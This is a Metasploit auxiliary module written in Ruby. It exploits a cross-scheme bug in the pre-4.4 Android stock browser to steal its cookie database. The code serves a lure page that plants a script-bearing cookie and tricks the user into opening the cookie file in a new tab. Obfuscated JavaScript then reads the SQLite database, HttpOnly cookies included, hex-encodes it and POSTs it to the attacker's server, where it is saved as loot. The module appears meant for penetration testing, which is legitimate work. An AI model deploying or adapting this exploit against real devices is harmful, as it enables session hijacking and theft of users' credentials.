146 lines
4.6 KiB
Ruby
146 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::JSObfu
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Android Browser "Open in New Tab" Cookie Theft',
|
|
'Description' => %q{
|
|
In Android's stock AOSP Browser application and WebView component, the
|
|
"open in new tab" functionality allows a file URL to be opened. On
|
|
versions of Android before 4.4, the path to the sqlite cookie
|
|
database could be specified. By saving a cookie containing a <script>
|
|
tag and then loading the sqlite database into the browser as an HTML file,
|
|
XSS can be achieved inside the cookie file, disclosing *all* cookies
|
|
(HttpOnly or not) to an attacker.
|
|
},
|
|
'Author' => [
|
|
'Rafay Baloch', # Discovery of "Open in new tab" bug
|
|
'joev' # Cookie theft vector, msf module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
|
|
'PassiveActions' => [ 'WebServer' ],
|
|
'References' => [
|
|
# the patch, released against 4.3 AOSP in February 2014
|
|
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
|
|
['URL', 'http://www.rafayhackingarticles.net/2014/12/android-browser-cross-scheme-data.html']
|
|
],
|
|
'DefaultAction' => 'WebServer',
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('COOKIE_FILE', [
|
|
true,
|
|
'The cookie file (on older 2.x devices this is "webview.db")',
|
|
'webviewCookiesChromium.db'
|
|
])
|
|
])
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.method =~ /POST/i
|
|
print_status("Processing exfilrated files...")
|
|
process_post(cli, request)
|
|
send_response_html(cli, '')
|
|
elsif request.uri =~ /\.js$/i
|
|
print_status("Sending exploit javascript")
|
|
send_response(cli, exfiltration_js, 'Content-type' => 'text/javascript')
|
|
else
|
|
print_status("Sending exploit landing page...")
|
|
send_response_html(cli, landing_page_html)
|
|
end
|
|
end
|
|
|
|
def process_post(cli, request)
|
|
data = hex2bin(request.body)
|
|
print_good "Cookies received: #{request.body.length.to_f / 1024}kb"
|
|
loot_path = store_loot(
|
|
"android.browser.cookies",
|
|
'application/x-sqlite3',
|
|
cli.peerhost,
|
|
data,
|
|
'cookies.sqlite',
|
|
"#{cli.peerhost.ljust(16)} Android browser cookie database"
|
|
)
|
|
print_good "SQLite cookie database saved to:\n#{loot_path}"
|
|
end
|
|
|
|
def run
|
|
exploit
|
|
end
|
|
|
|
def landing_page_html
|
|
%Q|
|
|
<!doctype html>
|
|
<html>
|
|
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
|
|
<body style='width:100%;font-size: 16px;'>
|
|
<a href='file://#{cookie_path(datastore['COOKIE_FILE'])}##{Rex::Text.encode_base64(exfiltration_js)}'>
|
|
Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
|
|
</a>
|
|
<script>
|
|
#{inline_script}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def exfiltration_js
|
|
js_obfuscate %Q|
|
|
var x = new XMLHttpRequest();
|
|
x.open('GET', '');
|
|
x.responseType = 'arraybuffer';
|
|
x.onreadystatechange = function(){
|
|
if (x.readyState == 4) {
|
|
var buff = new Uint8Array(x.response);
|
|
var hex = Array.prototype.map.call(buff, function(d){
|
|
var c = d.toString(16);
|
|
return (c.length < 2) ? '0'+c : c;
|
|
}).join('');
|
|
var x2 = new XMLHttpRequest();
|
|
x2.open('POST', '#{get_uri}/');
|
|
x2.setRequestHeader('Content-type', 'text/plain');
|
|
x2.send(hex);
|
|
}
|
|
};
|
|
x.send();
|
|
|
|
|
|
|
end
|
|
|
|
def inline_script
|
|
%Q|
|
|
document.cookie='#{per_run_token}=<script>eval(atob(location.hash.slice(1)))<\\/script>';
|
|
|
|
|
end
|
|
|
|
def cookie_path(file = '')
|
|
'/data/data/com.android.browser/databases/' + file
|
|
end
|
|
|
|
# TODO: Make this a proper Rex::Text function
|
|
def hex2bin(hex)
|
|
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
|
|
end
|
|
|
|
def per_run_token
|
|
@token ||= Rex::Text.rand_text_alpha(rand(2) + 1)
|
|
end
|
|
end
|